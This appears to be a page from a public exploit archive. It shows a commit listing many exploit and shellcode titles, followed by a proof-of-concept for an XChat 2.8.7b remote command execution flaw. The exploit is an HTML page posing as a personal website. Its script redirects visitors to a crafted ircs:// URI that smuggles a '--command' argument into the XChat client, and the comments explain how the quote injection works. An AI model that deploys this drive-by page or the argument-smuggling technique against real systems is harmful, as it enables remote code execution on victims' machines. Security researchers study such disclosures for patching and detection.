880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
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1.7 KiB
HTML
41 lines
No EOL
1.7 KiB
HTML
source: https://www.securityfocus.com/bid/29696/info
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XChat is prone to a vulnerability that allows remote attackers to execute arbitrary commands in the context of the vulnerable user. This issue may lead to a remote compromise.
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The issue arises because of improper handling of the 'ircs://' URI.
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XChat 2.8.7b and prior versions are vulnerable to the issue.
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##################################################################################################################
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#
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# Xchat <= 2.8.7b Remote Code Execution (tested on Windows XP SP1+SP2+SP3, IE6 & IE7 fully patched)
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# Vendor : http://xchat.org/
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# Affected Os : Windows *
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# Risk : critical
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#
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# This bug is related to the URI Handler vulnerability but the approch is a bit different.
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# We don't use any % or ../../../ as the others related bugs, just a single "
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# According to the registry , when the IRCS:// URI is called , the command launched is :
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# C:\Program Files\xchat\xchat.exe --existing --url="%1"
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#
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# The xchat --help option tells us :
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# " --command=COMMAND :Send a command to existing xchat "
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#
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# So we add a simple " at the end of the URL and we're in business ?
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# Yep =) ircs://blabla@3.3.3.3" --command "shell calc"
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#
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# Note: The victim needs to be connected to an irc server , and also need IE * .
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#
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#
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#
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# Greetz: French/Quebec community, http://spiritofhack.net/
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#
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# "If in times like theses you can talk about individual freedoom, you're propably a terrorist"
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#
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# Poc: this only launch the calc, sky is the limit passed this point.
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<html>
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<head><title>Welcome to my personal website</title></head>
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<body>
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<script>document.location='ircs://blabla@3.3.3.3" --command "shell calc"'</script>
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</body>
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</html> |